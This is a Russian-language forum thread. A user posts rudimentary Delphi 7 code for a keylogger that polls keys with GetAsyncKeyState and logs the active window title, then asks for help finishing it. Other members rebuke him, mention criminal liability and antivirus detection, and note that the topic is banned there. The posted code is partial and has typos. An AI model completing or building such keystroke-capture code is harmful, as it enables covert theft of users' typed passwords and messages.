Keylogger + Handle на Delphi-7

[дима 111231]

Всем привет )) вот хочу написать программу которые будет перехватывать клавиши А сверху клавиш будет заголовок активного окна ))) может кто-то поможет мне не могу разобраться ))

Вот сам код (Ketlogger)

procedure TForm1.Timer2Timer(Sender: TObject);
var
i : byte;
begin
for i:=8 To 222 do
begin
if GetAsyncKeyState(i)=-32767 then
begin
case i of

65..90 : // a..z , A..Z
begin
if GetKeyState(VK_SHIFT)<0 then
memo1.text:=memo1.text+LowerCase(Ch r(i)) //a..z
else
memo1.text:=memo1.text+UpperCase(Ch r(i)) //A..Z
end;
end;
end;
end;
end;
end.
///////////////
А вот сам код активного окна

procedure TForm1.Timer1Timer(Sender: TObject);
Var
wnd1,wnd2:hwnd;
A:array[0..255] of char;
begin
wnd1:=FindWindow(nil,'Диспетчер задач Windows');
wnd2:=GetForeGroundWindow;
//По хэнделу можно определить заголовок окна функцией GetWindowText
GetWindowText(wnd2,A,255);
Memo1.text:=('Окно'+ #13+#10 + A);


end;

end.
//////////

смотрим на картинку что-получилось

[eoln]

Ужс ))
Смотри в сторону хуков и УК

[QunneD]

Смотри в сторону хуков и УК

Совершенно солидарен.

А так, Вам не надоело обращаться с такими вопросами каждую неделю?

Уже по стопятцот раз всё разжевано и пережевано, и Вы ей богу надоели мастерить говно-мальварь и потом впаривать сие подделки на хак-форумах.

Темболее на VLC давно уже никто не кодит всякую бяку, а те кто хоть чуть-чуть познали WinAPI - делают жутко неправильную бяку.

А те кто усиленно занимается этой темой, давно используют недок. API для достижения своих целей.

А насчет хуков, то они ана..но караются при проверке сигн аверами, если софтина не подписана, и не внушает никакого доверия.

А мусор весь давно с легкостью отсекается проактивкой.

[Tip.the.besT]

Насколько я знаю, подобноё запрещено на этом форуме. Да и народ правильно говорит, не лезь туда, о чём не знаешь.

P.S. Хотя скажу честно программированием начал увлекаться именно благодаря хаку. Теперь просто пишу для себя))